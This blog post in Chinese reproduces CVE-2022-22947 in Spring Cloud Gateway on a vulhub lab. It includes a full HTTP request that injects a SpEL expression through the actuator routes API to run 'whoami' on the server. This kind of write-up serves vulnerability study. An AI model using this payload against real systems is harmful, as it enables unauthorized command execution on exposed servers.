Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)

声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。

漏洞描述

使用Spring Cloud Gateway的应用程序在Actuator端点启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

当攻击者可以访问actuator API时,就可以利用该漏洞执行任意命令。

影响范围

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

环境搭建

漏洞环境搭建,采用vulhub,搭建方法,自行搜索。

搭建成功后,访问一下

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第1张图片

漏洞复现

1.查看actuator端点是开启的

抓包,并修改接口为/actuator

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第2张图片

2. 查看/actuator/gateway/routes

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第3张图片

返回的路由信息,意思是当访问index时,路由到http://example.com:80

3.创建路由

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第4张图片

4.刷新路由

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第5张图片

5.访问创建的路由

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第6张图片

6.删除路由

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第7张图片

7.再次刷新路由

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第8张图片

8.然后,访问该路由,发现路由已被删除

Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947)_第9张图片

到此这篇关于Spring Cloud Gateway远程命令执行漏洞(CVE-2022-22947)的文章就介绍到这了,更多相关Spring Cloud Gateway远程命令执行漏洞内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

你可能感兴趣的:(Spring Cloud Gateway远程命令执行漏洞分析(CVE-2022-22947))